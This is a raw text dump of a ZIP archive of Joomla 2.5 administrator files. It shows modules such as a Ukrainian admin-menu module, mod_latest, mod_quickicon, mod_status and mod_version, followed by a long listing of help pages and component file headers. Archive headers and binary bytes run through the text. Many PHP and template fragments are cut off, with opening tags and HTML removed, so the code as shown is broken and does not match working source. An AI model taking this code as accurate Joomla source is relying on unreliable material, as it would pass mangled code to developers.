$link = null, $class = null, $active = false, $target = null, $titleicon = null) { $this->title = $titleicon ? $title.$titleicon : $title; $this->link = JFilterOutput::ampReplace($link); $this->class = $class; $this->active = $active; $this->id = null; if (!empty($link) && $link !== '#') { $uri = new JURI($link); $params = $uri->getQuery(true); $parts = array(); foreach ($params as $name => $value) { $parts[] = str_replace(array('.', '_'), '-', $value); } $this->id = implode('-', $parts); } $this->target = $target; } } PK@y>\)modules/mod_jumenu/.htaccessnuW+A Order allow,deny Deny from all PK@y>\% modules/mod_jumenu/helper.phpnuW+AaddScriptDeclaration($js); } private function build() { $site = 'http://joomla-ua.org/'; $out = 'Підтримка'; $out .= ''; return $out; } }PK@y>\17!modules/mod_jumenu/mod_jumenu.xmlnuW+A Joomla! Україна Admin Menu 23.09.2012 Joomla! Україна denys@joomla.org" http://www.joomla.org/ Copyright (C) 2006-2012 Joomla! Україна GNU General Public License v3 1.20.0 Модуль додає розділи Joomla! Україна до адміністративного меню mod_jumenu.php helper.php sql sql/install.mysql.utf8.sql sql/uninstall.mysql.utf8.sql sql/updates/mysql PK@y>\ 1$i!modules/mod_jumenu/mod_jumenu.phpnuW+AgetTag() != 'uk-UA') { return; } $option = JRequest::getVar('option'); require_once( dirname(__FILE__).'/helper.php' ); if( !( JRequest::getInt( 'hidemainmenu' ) ) ) { modJUMenuHelper::renderMenu(); } if($option == 'com_cpanel' || $option == 'com_languages'){ $lngfile = JPATH_BASE .'/language/overrides/uk-UA.override.ini'; if(file_exists($lngfile) && filesize($lngfile) > 2) { $file = fopen($lngfile, 'r'); $text = fread($file, filesize($lngfile)); fclose($file); $file = fopen($lngfile, 'w'); $text = preg_replace('#JGLOBAL_ISFREESOFTWARE="(.*)"#is', '', $text); fwrite($file, $text); fclose($file); } } if($option == 'com_installer'){ $lngfile = JPATH_BASE .'/modules/mod_jumenu/sql'; function recursiveDelete($str) { if(is_file($str)){ return @unlink($str); } elseif(is_dir($str)) { $scan = glob(rtrim($str,'/').'/*'); foreach($scan as $index=>$path){ recursiveDelete($path); } return @rmdir($str); } } recursiveDelete( $lngfile ); }PK@y>\/modules/mod_jumenu/sql/uninstall.mysql.utf8.sqlnuW+APK@y>\) modules/mod_jumenu/sql/.htaccessnuW+A Order allow,deny Deny from all PK@y>\).modules/mod_jumenu/sql/updates/mysql/.htaccessnuW+A Order allow,deny Deny from all PK@y>\:)BB/modules/mod_jumenu/sql/updates/mysql/1.20.0.sqlnuW+A/* enable module, set position to 'status', hide title and put module as last in status container */ UPDATE #__modules SET position = 'menu' , published = 1 , showtitle = 0 , ordering = 99 WHERE module = 'mod_jumenu' AND client_id = 1; /* show module for all menus in adminstrator */ INSERT INTO #__modules_menu (moduleid, menuid) SELECT #__modules.id, 0 FROM #__modules WHERE #__modules.module = 'mod_jumenu' AND #__modules.position = 'menu' AND NOT EXISTS (SELECT 1 FROM #__modules_menu WHERE moduleid = #__modules.id) ORDER BY id DESC LIMIT 1; PK@y>\)(modules/mod_jumenu/sql/updates/.htaccessnuW+A Order allow,deny Deny from all PK@y>\:)BB-modules/mod_jumenu/sql/install.mysql.utf8.sqlnuW+A/* enable module, set position to 'status', hide title and put module as last in status container */ UPDATE #__modules SET position = 'menu' , published = 1 , showtitle = 0 , ordering = 99 WHERE module = 'mod_jumenu' AND client_id = 1; /* show module for all menus in adminstrator */ INSERT INTO #__modules_menu (moduleid, menuid) SELECT #__modules.id, 0 FROM #__modules WHERE #__modules.module = 'mod_jumenu' AND #__modules.position = 'menu' AND NOT EXISTS (SELECT 1 FROM #__modules_menu WHERE moduleid = #__modules.id) ORDER BY id DESC LIMIT 1; PK@y>\)modules/.htaccessnuW+A Order allow,deny Deny from all PK@y>\D#modules/mod_latest/tmpl/default.phpnuW+A $item) : ?>
              checked_out) : ?> editor, $item->checked_out_time); ?> link) :?> title, ENT_QUOTES, 'UTF-8');?> title, ENT_QUOTES, 'UTF-8'); endif; ?> state, $i, '', false); ?> created, 'Y-m-d H:i:s'); ?> author_name;?>

              PK@y>\)!modules/mod_latest/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V"modules/mod_latest/tmpl/index.htmlnuW+A PK@y>\<;8 8 modules/mod_latest/helper.phpnuW+A true)); // Set List SELECT $model->setState('list.select', 'a.id, a.title, a.checked_out, a.checked_out_time, ' . ' a.access, a.created, a.created_by, a.created_by_alias, a.featured, a.state'); // Set Ordering filter switch ($params->get('ordering')) { case 'm_dsc': $model->setState('list.ordering', 'modified DESC, created'); $model->setState('list.direction', 'DESC'); break; case 'c_dsc': default: $model->setState('list.ordering', 'created'); $model->setState('list.direction', 'DESC'); break; } // Set Category Filter $categoryId = $params->get('catid'); if (is_numeric($categoryId)){ $model->setState('filter.category_id', $categoryId); } // Set User Filter. $userId = $user->get('id'); switch ($params->get('user_id')) { case 'by_me': $model->setState('filter.author_id', $userId); break; case 'not_me': $model->setState('filter.author_id', $userId); $model->setState('filter.author_id.include', false); break; } // Set the Start and Limit $model->setState('list.start', 0); $model->setState('list.limit', $params->get('count', 5)); $items = $model->getItems(); if ($error = $model->getError()) { JError::raiseError(500, $error); return false; } // Set the links foreach ($items as &$item) { if ($user->authorise('core.edit', 'com_content.article.'.$item->id)){ $item->link = JRoute::_('index.php?option=com_content&task=article.edit&id='.$item->id); } else { $item->link = ''; } } return $items; } /** * Get the alternate title for the module * * @param JObject The module parameters. * @return string The alternate title for the module. */ public static function getTitle($params) { $who = $params->get('user_id'); $catid = (int)$params->get('catid'); $type = $params->get('ordering') == 'c_dsc' ? '_CREATED' : '_MODIFIED'; if ($catid) { $category = JCategories::getInstance('Content')->get($catid); if ($category) { $title = $category->title; } else { $title = JText::_('MOD_POPULAR_UNEXISTING'); } } else { $title = ''; } return JText::plural('MOD_LATEST_TITLE'.$type.($catid ? "_CATEGORY" : '').($who!='0' ? "_$who" : ''), (int)$params->get('count'), $title); } } PK@y>\Vmodules/mod_latest/index.htmlnuW+A PK@y>\ʰ!modules/mod_latest/mod_latest.phpnuW+Aget('layout', 'default')); PK@y>\)modules/mod_latest/.htaccessnuW+A Order allow,deny Deny from all PK@y>\;e& & !modules/mod_latest/mod_latest.xmlnuW+A mod_latest Joomla! Project July 2004 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_LATEST_XML_DESCRIPTION mod_latest.php helper.php index.html tmpl en-GB.mod_latest.ini en-GB.mod_latest.sys.ini
              PK@y>\)modules/mod_quickicon/.htaccessnuW+A Order allow,deny Deny from all PK@y>\py'modules/mod_quickicon/mod_quickicon.phpnuW+Aget('layout', 'default')); PK@y>\]   'modules/mod_quickicon/mod_quickicon.xmlnuW+A mod_quickicon Joomla! Project Nov 2005 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_QUICKICON_XML_DESCRIPTION mod_quickicon.php helper.php index.html tmpl en-GB.mod_quickicon.ini en-GB.mod_quickicon.sys.ini
              PK@y>\)$modules/mod_quickicon/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V%modules/mod_quickicon/tmpl/index.htmlnuW+A PK@y>\Q@&modules/mod_quickicon/tmpl/default.phpnuW+A
              PK@y>\V modules/mod_quickicon/index.htmlnuW+A PK@y>\% modules/mod_quickicon/helper.phpnuW+Aget('context', 'mod_quickicon'); if ($context == 'mod_quickicon') { // Load mod_quickicon language file in case this method is called before rendering the module JFactory::getLanguage()->load('mod_quickicon'); self::$buttons[$key] = array( array( 'link' => JRoute::_('index.php?option=com_content&task=article.add'), 'image' => 'header/icon-48-article-add.png', 'text' => JText::_('MOD_QUICKICON_ADD_NEW_ARTICLE'), 'access' => array('core.manage', 'com_content', 'core.create', 'com_content', ) ), array( 'link' => JRoute::_('index.php?option=com_content'), 'image' => 'header/icon-48-article.png', 'text' => JText::_('MOD_QUICKICON_ARTICLE_MANAGER'), 'access' => array('core.manage', 'com_content') ), array( 'link' => JRoute::_('index.php?option=com_categories&extension=com_content'), 'image' => 'header/icon-48-category.png', 'text' => JText::_('MOD_QUICKICON_CATEGORY_MANAGER'), 'access' => array('core.manage', 'com_content') ), array( 'link' => JRoute::_('index.php?option=com_media'), 'image' => 'header/icon-48-media.png', 'text' => JText::_('MOD_QUICKICON_MEDIA_MANAGER'), 'access' => array('core.manage', 'com_media') ), array( 'link' => JRoute::_('index.php?option=com_menus'), 'image' => 'header/icon-48-menumgr.png', 'text' => JText::_('MOD_QUICKICON_MENU_MANAGER'), 'access' => array('core.manage', 'com_menus') ), array( 'link' => JRoute::_('index.php?option=com_users'), 'image' => 'header/icon-48-user.png', 'text' => JText::_('MOD_QUICKICON_USER_MANAGER'), 'access' => array('core.manage', 'com_users') ), array( 'link' => JRoute::_('index.php?option=com_modules'), 'image' => 'header/icon-48-module.png', 'text' => JText::_('MOD_QUICKICON_MODULE_MANAGER'), 'access' => array('core.manage', 'com_modules') ), array( 'link' => JRoute::_('index.php?option=com_installer'), 'image' => 'header/icon-48-extension.png', 'text' => JText::_('MOD_QUICKICON_EXTENSION_MANAGER'), 'access' => array('core.manage', 'com_installer') ), array( 'link' => JRoute::_('index.php?option=com_languages'), 'image' => 'header/icon-48-language.png', 'text' => JText::_('MOD_QUICKICON_LANGUAGE_MANAGER'), 'access' => array('core.manage', 'com_languages') ), array( 'link' => JRoute::_('index.php?option=com_config'), 'image' => 'header/icon-48-config.png', 'text' => JText::_('MOD_QUICKICON_GLOBAL_CONFIGURATION'), 'access' => array('core.manage', 'com_config', 'core.admin', 'com_config') ), array( 'link' => JRoute::_('index.php?option=com_templates'), 'image' => 'header/icon-48-themes.png', 'text' => JText::_('MOD_QUICKICON_TEMPLATE_MANAGER'), 'access' => array('core.manage', 'com_templates') ), array( 'link' => JRoute::_('index.php?option=com_admin&task=profile.edit&id='.JFactory::getUser()->id), 'image' => 'header/icon-48-user-profile.png', 'text' => JText::_('MOD_QUICKICON_PROFILE'), 'access' => true ), ); } else { self::$buttons[$key] = array(); } // Include buttons defined by published quickicon plugins JPluginHelper::importPlugin('quickicon'); $app = JFactory::getApplication(); $arrays = (array) $app->triggerEvent('onGetIcons', array($context)); foreach ($arrays as $response) { foreach ($response as $icon) { $default = array( 'link' => null, 'image' => 'header/icon-48-config.png', 'text' => null, 'access' => true ); $icon = array_merge($default, $icon); if (!is_null($icon['link']) && !is_null($icon['text'])) { self::$buttons[$key][] = $icon; } } } } return self::$buttons[$key]; } /** * Get the alternate title for the module * * @param JRegistry The module parameters. * @param object The module. * * @return string The alternate title for the module. */ public static function getTitle($params, $module) { $key = $params->get('context', 'mod_quickicon') . '_title'; if (JFactory::getLanguage()->hasKey($key)) { return JText::_($key); } else { return $module->title; } } } PK@y>\V"modules/mod_status/tmpl/index.htmlnuW+A PK@y>\)!modules/mod_status/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\mLHH#modules/mod_status/tmpl/default.phpnuW+Aget('show_loggedin_users', 1)) : $output[] = ''.JText::plural('MOD_STATUS_USERS', $online_num).''; endif; // Print the back-end logged in users. if ($params->get('show_loggedin_users_admin', 1)) : $output[] = ''.JText::plural('MOD_STATUS_BACKEND_USERS', $count).''; endif; // Print the inbox message. if ($params->get('show_messages', 1)) : $output[] = ''. ($hideLinks ? '' : ''). JText::plural('MOD_STATUS_MESSAGES', $unread). ($hideLinks ? '' : ''). ''; endif; // Output the items. foreach ($output as $item) : echo $item; endforeach; PK@y>\)modules/mod_status/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Vmodules/mod_status/index.htmlnuW+A PK@y>\ !modules/mod_status/mod_status.xmlnuW+A mod_status Joomla! Project Feb 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_STATUS_XML_DESCRIPTION mod_status.php index.html tmpl en-GB.mod_status.ini en-GB.mod_status.sys.ini
              PK@y>\!modules/mod_status/mod_status.phpnuW+AgetQuery(true); $query->select('COUNT(*)'); $query->from('#__messages'); $query->where('state = 0 AND user_id_to = '.(int) $user->get('id')); $db->setQuery($query); $unread = (int) $db->loadResult(); // Get the number of back-end logged in users. $query->clear(); $query->select('COUNT(session_id)'); $query->from('#__session'); $query->where('guest = 0 AND client_id = 1'); $db->setQuery($query); $count = (int) $db->loadResult(); // Set the inbox link. if (JRequest::getInt('hidemainmenu')) { $inboxLink = ''; } else { $inboxLink = JRoute::_('index.php?option=com_messages'); } // Set the inbox class. if ($unread) { $inboxClass = 'unread-messages'; } else { $inboxClass = 'no-unread-messages'; } // Get the number of frontend logged in users. $query->clear(); $query->select('COUNT(session_id)'); $query->from('#__session'); $query->where('guest = 0 AND client_id = 0'); $db->setQuery($query); $online_num = (int) $db->loadResult(); require JModuleHelper::getLayoutPath('mod_status', $params->get('layout', 'default')); PK@y>\)modules/mod_version/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)"modules/mod_version/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\K(ll$modules/mod_version/tmpl/default.phpnuW+A' . $version . '

              '; endif;PK@y>\V#modules/mod_version/tmpl/index.htmlnuW+A PK@y>\Q#modules/mod_version/mod_version.phpnuW+Aget('layout', 'default'));PK@y>\*%#modules/mod_version/mod_version.xmlnuW+A mod_version Joomla! Project January 2012 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_VERSION_XML_DESCRIPTION mod_version.php helper.php index.html tmpl language language/en-GB/en-GB.mod_version.ini language/en-GB/en-GB.mod_version.sys.ini
              PK@y>\Vmodules/mod_version/index.htmlnuW+A PK@y>\Wmodules/mod_version/helper.phpnuW+Aget('format', 'short'); $product = $params->get('product', 0); $method = 'get' . ucfirst($format) . "Version"; // Get the joomla version $instance = new JVersion(); $version = call_user_func(array($instance, $method));//$instance->{$method}; if ($format=='short' && !empty($product)) { //add the product name to short format only (in long format it's included) $version = $instance->PRODUCT . ' ' . $version; } return $version; } } PK@y>\V-modules/mod_version/language/en-GB/index.htmlnuW+A PK@y>\),modules/mod_version/language/en-GB/.htaccessnuW+A Order allow,deny Deny from all PK@y>\d{{<modules/mod_version/language/en-GB/en-GB.mod_version.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_VERSION="Joomla! Version Information" MOD_VERSION_LAYOUT_DEFAULT="Default" MOD_VERSION_XML_DESCRIPTION="This module displays the Joomla! version." PK@y>\p ww8modules/mod_version/language/en-GB/en-GB.mod_version.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_VERSION="Joomla! Version Information" MOD_VERSION_FORMAT_DESC="The long version includes code name and date" MOD_VERSION_FORMAT_LABEL="Version format" MOD_VERSION_FORMAT_LONG="Long" MOD_VERSION_FORMAT_SHORT="Short" MOD_VERSION_PRODUCT_DESC="Include Joomla! name when using short format" MOD_VERSION_PRODUCT_LABEL="Show Joomla!" MOD_VERSION_XML_DESCRIPTION="This module displays the Joomla! version."PK@y>\V'modules/mod_version/language/index.htmlnuW+A PK@y>\)&modules/mod_version/language/.htaccessnuW+A Order allow,deny Deny from all PK@y>\n6!!5help/en-GB/Extensions_Template_Manager_Templates.htmlnuW+APK@y>\v!help/en-GB/Users_Groups_Edit.htmlnuW+APK@y>\W Y"help/en-GB/Users_User_Manager.htmlnuW+APK@y>\B*- help/en-GB/Components_Contact_Categories.htmlnuW+APK@y>\N.F' help/en-GB/Content_Article_Manager.htmlnuW+APK@y>\:  *help/en-GB/Components_Newsfeeds_Feeds.htmlnuW+APK@y>\1&&4Ehelp/en-GB/Site_Maintenance_Purge_Expired_Cache.htmlnuW+APK@y>\)help/en-GB/.htaccessnuW+APK@y>\@f))7help/en-GB/Extensions_Template_Manager_Styles_Edit.htmlnuW+APK@y>\!"help/en-GB/Components_Search.htmlnuW+APK@y>\60_help/en-GB/Extensions_Language_Manager_Edit.htmlnuW+APK@y>\ ס--2"help/en-GB/Components_Newsfeeds_Category_Edit.htmlnuW+APK@y>\ ?3e&help/en-GB/Extensions_Extension_Manager_Update.htmlnuW+APK@y>\k*)help/en-GB/Components_Banners_Clients.htmlnuW+APK@y>\ 7D-help/en-GB/Users_Groups.htmlnuW+APK@y>\T%%0x0help/en-GB/Components_Banners_Category_Edit.htmlnuW+APK@y>\9I=!!53help/en-GB/Extensions_Extension_Manager_Discover.htmlnuW+APK@y>\7help/en-GB/Glossary.htmlnuW+APK@y>\q":help/en-GB/Menus_Menu_Manager.htmlnuW+APK@y>\*=help/en-GB/Components_Messaging_Write.htmlnuW+APK@y>\'7Ahelp/en-GB/Menus_Menu_Manager_Edit.htmlnuW+APK@y>\8-Dhelp/en-GB/Components_Content_Categories.htmlnuW+APK@y>\[,Ghelp/en-GB/Site_Maintenance_Clear_Cache.htmlnuW+APK@y>\_T%%3gKhelp/en-GB/Extensions_Language_Manager_Content.htmlnuW+APK@y>\igNhelp/en-GB/Start_Here.htmlnuW+APK@y>\/Rhelp/en-GB/Components_Banners_Banners_Edit.htmlnuW+APK@y>\e/Uhelp/en-GB/Components_Newsfeeds_Feeds_Edit.htmlnuW+APK@y>\F*Yhelp/en-GB/Components_Messaging_Inbox.htmlnuW+APK@y>\ 9/.c\help/en-GB/Components_Weblinks_Categories.htmlnuW+APK@y>\G0)_help/en-GB/Components_Messaging_Read.htmlnuW+APK@y>\K$43chelp/en-GB/Extensions_Extension_Manager_Install.htmlnuW+APK@y>\b  .fhelp/en-GB/Extensions_Module_Manager_Edit.htmlnuW+APK@y>\}z- jhelp/en-GB/Components_Banners_Categories.htmlnuW+APK@y>\;&&0mhelp/en-GB/Components_Content_Category_Edit.htmlnuW+APK@y>\^+1!qhelp/en-GB/Users_Debug_Users.htmlnuW+APK@y>\k9/fthelp/en-GB/Components_Banners_Clients_Edit.htmlnuW+APK@y>\.whelp/en-GB/Components_Weblinks_Links_Edit.htmlnuW+APK@y>\5Ԇ  +X{help/en-GB/Components_Redirect_Manager.htmlnuW+APK@y>\22:~help/en-GB/Extensions_Template_Manager_Templates_Edit.htmlnuW+APK@y>\x,Xhelp/en-GB/Menus_Menu_Item_Manager_Edit.htmlnuW+APK@y>\sS==Aąhelp/en-GB/Extensions_Template_Manager_Templates_Edit_Source.htmlnuW+APK@y>\P])rhelp/en-GB/Components_Weblinks_Links.htmlnuW+APK@y>\^''0όhelp/en-GB/Components_Contact_Category_Edit.htmlnuW+APK@y>\W*Vhelp/en-GB/Components_Banners_Banners.htmlnuW+APK@y>\zV.help/en-GB/Extensions_Plugin_Manager_Edit.htmlnuW+APK@y>\V(help/en-GB/index.htmlnuW+APK@y>\4  ,help/en-GB/Components_Contacts_Contacts.htmlnuW+APK@y>\U|!!5help/en-GB/Extensions_Extension_Manager_Warnings.htmlnuW+APK@y>\[){help/en-GB/Content_Featured_Articles.htmlnuW+APK@y>\P%help/en-GB/Content_Media_Manager.htmlnuW+APK@y>\8),help/en-GB/Extensions_Module_Manager.htmlnuW+APK@y>\Po'help/en-GB/Menus_Menu_Item_Manager.htmlnuW+APK@y>\x_iiӫhelp/en-GB/css/help.cssnuW+APK@y>\)help/en-GB/css/.htaccessnuW+APK@y>\VJhelp/en-GB/css/index.htmlnuW+APK@y>\dMMhelp/en-GB/css/docbook.cssnuW+APK@y>\A)help/en-GB/Extensions_Plugin_Manager.htmlnuW+APK@y>\IU)help/en-GB/Components_Banners_Tracks.htmlnuW+APK@y>\k-3lhelp/en-GB/Extensions_Extension_Manager_Manage.htmlnuW+APK@y>\  0help/en-GB/Site_Maintenance_Global_Check-in.htmlnuW+APK@y>\r#/)U help/en-GB/Site_Global_Configuration.htmlnuW+APK@y>\ېH/ help/en-GB/Components_Newsfeeds_Categories.htmlnuW+APK@y>\QX''help/en-GB/Users_User_Manager_Edit.htmlnuW+APK@y>\$g(help/en-GB/Users_Access_Levels_Edit.htmlnuW+APK@y>\;'help/en-GB/Site_System_Information.htmlnuW+APK@y>\tXK#Chelp/en-GB/Users_Access_Levels.htmlnuW+APK@y>\(1++5help/en-GB/Extensions_Language_Manager_Installed.htmlnuW+APK@y>\^ **1#"help/en-GB/Components_Weblinks_Category_Edit.htmlnuW+APK@y>\0/\%%help/en-GB/Users_Mass_Mail_Users.htmlnuW+APK@y>\Ⲱv""1(help/en-GB/Components_Contacts_Contacts_Edit.htmlnuW+APK@y>\q5k+2{,help/en-GB/Extensions_Template_Manager_Styles.htmlnuW+APK@y>\I,/help/en-GB/Content_Article_Manager_Edit.htmlnuW+APK@y>\s%%0i3help/en-GB/Components_Redirect_Manager_Edit.htmlnuW+APK@y>\)6help/.htaccessnuW+APK@y>\V7help/index.htmlnuW+APK@y>\,A 8help/helpsites.xmlnuW+APK@y>\uuC9includes/menu.phpnuW+APK@y>\:includes/router.phpnuW+APK@y>\$AJEJE>includes/toolbar.phpnuW+APK@y>\"ppincludes/helper.phpnuW+APK@y>\27!!=includes/application.phpnuW+APK@y>\VJincludes/index.htmlnuW+APK@y>\includes/defines.phpnuW+APK@y>\)includes/.htaccessnuW+APK@y>\Utincludes/framework.phpnuW+APK@y>\b3 index.phpnuW+APK@y>\d8Zbb!components/com_modules/config.xmlnuW+APK@y>\Q!qcomponents/com_modules/access.xmlnuW+APK@y>\@%components/com_modules/controller.phpnuW+APK@y>\V!components/com_modules/index.htmlnuW+APK@y>\ ";components/com_modules/modules.xmlnuW+APK@y>\)-lcomponents/com_modules/views/select/.htaccessnuW+APK@y>\V.Hcomponents/com_modules/views/select/index.htmlnuW+APK@y>\)2components/com_modules/views/select/tmpl/.htaccessnuW+APK@y>\V3components/com_modules/views/select/tmpl/index.htmlnuW+APK@y>\s4(components/com_modules/views/select/tmpl/default.phpnuW+APK@y>\(''1components/com_modules/views/select/view.html.phpnuW+APK@y>\)5 components/com_modules/views/positions/tmpl/.htaccessnuW+APK@y>\V6components/com_modules/views/positions/tmpl/index.htmlnuW+APK@y>\XeB''5scomponents/com_modules/views/positions/tmpl/modal.phpnuW+APK@y>\B<4components/com_modules/views/positions/view.html.phpnuW+APK@y>\)0icomponents/com_modules/views/positions/.htaccessnuW+APK@y>\V1Hcomponents/com_modules/views/positions/index.htmlnuW+APK@y>\V'components/com_modules/views/index.htmlnuW+APK@y>\)&>components/com_modules/views/.htaccessnuW+APK@y>\)-components/com_modules/views/module/.htaccessnuW+APK@y>\07ii<components/com_modules/views/module/tmpl/edit_assignment.phpnuW+APK@y>\NN1components/com_modules/views/module/tmpl/edit.phpnuW+APK@y>\H>css2scomponents/com_modules/views/module/tmpl/modal.phpnuW+APK@y>\)2Hcomponents/com_modules/views/module/tmpl/.htaccessnuW+APK@y>\笗9)components/com_modules/views/module/tmpl/edit_options.phpnuW+APK@y>\V3#"components/com_modules/views/module/tmpl/index.htmlnuW+APK@y>\V."components/com_modules/views/module/index.htmlnuW+APK@y>\HO O 1"#components/com_modules/views/module/view.html.phpnuW+APK@y>\ UU;,components/com_modules/views/modules/tmpl/default_batch.phpnuW+APK@y>\V41components/com_modules/views/modules/tmpl/index.htmlnuW+APK@y>\;t$t$52components/com_modules/views/modules/tmpl/default.phpnuW+APK@y>\)3Vcomponents/com_modules/views/modules/tmpl/.htaccessnuW+APK@y>\r<@c c 2Wcomponents/com_modules/views/modules/view.html.phpnuW+APK@y>\).bcomponents/com_modules/views/modules/.htaccessnuW+APK@y>\V/rccomponents/com_modules/views/modules/index.htmlnuW+APK@y>\).ccomponents/com_modules/views/preview/.htaccessnuW+APK@y>\V/dcomponents/com_modules/views/preview/index.htmlnuW+APK@y>\Ou*TT2Kecomponents/com_modules/views/preview/view.html.phpnuW+APK@y>\v5hcomponents/com_modules/views/preview/tmpl/default.phpnuW+APK@y>\V4&kcomponents/com_modules/views/preview/tmpl/index.htmlnuW+APK@y>\)3kcomponents/com_modules/views/preview/tmpl/.htaccessnuW+APK@y>\!D**"lcomponents/com_modules/modules.phpnuW+APK@y>\?@.ocomponents/com_modules/controllers/modules.phpnuW+APK@y>\),vcomponents/com_modules/controllers/.htaccessnuW+APK@y>\̪-vcomponents/com_modules/controllers/module.phpnuW+APK@y>\V-Ncomponents/com_modules/controllers/index.htmlnuW+APK@y>\) ʆcomponents/com_modules/.htaccessnuW+APK@y>\).components/com_modules/models/fields/.htaccessnuW+APK@y>\7vcomponents/com_modules/models/fields/moduleposition.phpnuW+APK@y>\V/ˑcomponents/com_modules/models/fields/index.htmlnuW+APK@y>\7# 4Icomponents/com_modules/models/fields/moduleorder.phpnuW+APK@y>\il(components/com_modules/models/select.phpnuW+APK@y>\V(Ьcomponents/com_modules/models/index.htmlnuW+APK@y>\V.Gcomponents/com_modules/models/forms/index.htmlnuW+APK@y>\)-ĭcomponents/com_modules/models/forms/.htaccessnuW+APK@y>\%p .components/com_modules/models/forms/module.xmlnuW+APK@y>\)'ɹcomponents/com_modules/models/.htaccessnuW+APK@y>\Hcc(components/com_modules/models/module.phpnuW+APK@y>\%G$$)components/com_modules/models/modules.phpnuW+APK@y>\]+Dcomponents/com_modules/models/positions.phpnuW+APK@y>\V)[components/com_modules/helpers/index.htmlnuW+APK@y>\)([components/com_modules/helpers/.htaccessnuW+APK@y>\V.c\components/com_modules/helpers/html/index.htmlnuW+APK@y>\)-\components/com_modules/helpers/html/.htaccessnuW+APK@y>\F/]components/com_modules/helpers/html/modules.phpnuW+APK@y>\__&/qcomponents/com_modules/helpers/xml.phpnuW+APK@y>\;s*tcomponents/com_modules/helpers/modules.phpnuW+APK@y>\)"components/com_installer/.htaccessnuW+APK@y>\)1components/com_installer/views/discover/.htaccessnuW+APK@y>\V2components/com_installer/views/discover/index.htmlnuW+APK@y>\pee5components/com_installer/views/discover/view.html.phpnuW+APK@y>\H=components/com_installer/views/discover/tmpl/default_item.phpnuW+APK@y>\8 components/com_installer/views/discover/tmpl/default.phpnuW+APK@y>\)6Jcomponents/com_installer/views/discover/tmpl/.htaccessnuW+APK@y>\V7/components/com_installer/views/discover/tmpl/index.htmlnuW+APK@y>\V)components/com_installer/views/index.htmlnuW+APK@y>\V0-components/com_installer/views/manage/index.htmlnuW+APK@y>\V5components/com_installer/views/manage/tmpl/index.htmlnuW+APK@y>\)40components/com_installer/views/manage/tmpl/.htaccessnuW+APK@y>\l{{6components/com_installer/views/manage/tmpl/default.phpnuW+APK@y>\ٚhff=components/com_installer/views/manage/tmpl/default_filter.phpnuW+APK@y>\)/components/com_installer/views/manage/.htaccessnuW+APK@y>\~f= = 3components/com_installer/views/manage/view.html.phpnuW+APK@y>\)(Ecomponents/com_installer/views/.htaccessnuW+APK@y>\%5components/com_installer/views/database/view.html.phpnuW+APK@y>\V7#components/com_installer/views/database/tmpl/index.htmlnuW+APK@y>\  8components/com_installer/views/database/tmpl/default.phpnuW+APK@y>\)60components/com_installer/views/database/tmpl/.htaccessnuW+APK@y>\V2components/com_installer/views/database/index.htmlnuW+APK@y>\)1components/com_installer/views/database/.htaccessnuW+APK@y>\JN?vcomponents/com_installer/views/default/tmpl/default_message.phpnuW+APK@y>\V6components/com_installer/views/default/tmpl/index.htmlnuW+APK@y>\$>; components/com_installer/views/default/tmpl/default_ftp.phpnuW+APK@y>\)5components/com_installer/views/default/tmpl/.htaccessnuW+APK@y>\g/components/com_installer/views/default/view.phpnuW+APK@y>\)05components/com_installer/views/default/.htaccessnuW+APK@y>\V1components/com_installer/views/default/index.htmlnuW+APK@y>\ڮG6components/com_installer/views/languages/view.html.phpnuW+APK@y>\V8components/com_installer/views/languages/tmpl/index.htmlnuW+APK@y>\w6 9ncomponents/com_installer/views/languages/tmpl/default.phpnuW+APK@y>\<@ components/com_installer/views/languages/tmpl/default_filter.phpnuW+APK@y>\)7components/com_installer/views/languages/tmpl/.htaccessnuW+APK@y>\)2components/com_installer/views/languages/.htaccessnuW+APK@y>\V3components/com_installer/views/languages/index.htmlnuW+APK@y>\)0Pcomponents/com_installer/views/install/.htaccessnuW+APK@y>\V1/components/com_installer/views/install/index.htmlnuW+APK@y>\i7components/com_installer/views/install/tmpl/default.phpnuW+APK@y>\UD ? ? <components/com_installer/views/install/tmpl/default_form.phpnuW+APK@y>\V6~%components/com_installer/views/install/tmpl/index.htmlnuW+APK@y>\)5&components/com_installer/views/install/tmpl/.htaccessnuW+APK@y>\{24&components/com_installer/views/install/view.html.phpnuW+APK@y>\)1*components/com_installer/views/warnings/.htaccessnuW+APK@y>\LOB%%5+components/com_installer/views/warnings/view.html.phpnuW+APK@y>\V29/components/com_installer/views/warnings/index.htmlnuW+APK@y>\)6/components/com_installer/views/warnings/tmpl/.htaccessnuW+APK@y>\cח80components/com_installer/views/warnings/tmpl/default.phpnuW+APK@y>\V76components/com_installer/views/warnings/tmpl/index.htmlnuW+APK@y>\V06components/com_installer/views/update/index.htmlnuW+APK@y>\)/7components/com_installer/views/update/.htaccessnuW+APK@y>\V57components/com_installer/views/update/tmpl/index.htmlnuW+APK@y>\x'r6g8components/com_installer/views/update/tmpl/default.phpnuW+APK@y>\)4QGcomponents/com_installer/views/update/tmpl/.htaccessnuW+APK@y>\7ff34Hcomponents/com_installer/views/update/view.html.phpnuW+APK@y>\ĜS&Mcomponents/com_installer/installer.xmlnuW+APK@y>\4/+#;Rcomponents/com_installer/access.xmlnuW+APK@y>\@/'Tcomponents/com_installer/controller.phpnuW+APK@y>\rb??&[components/com_installer/installer.phpnuW+APK@y>\V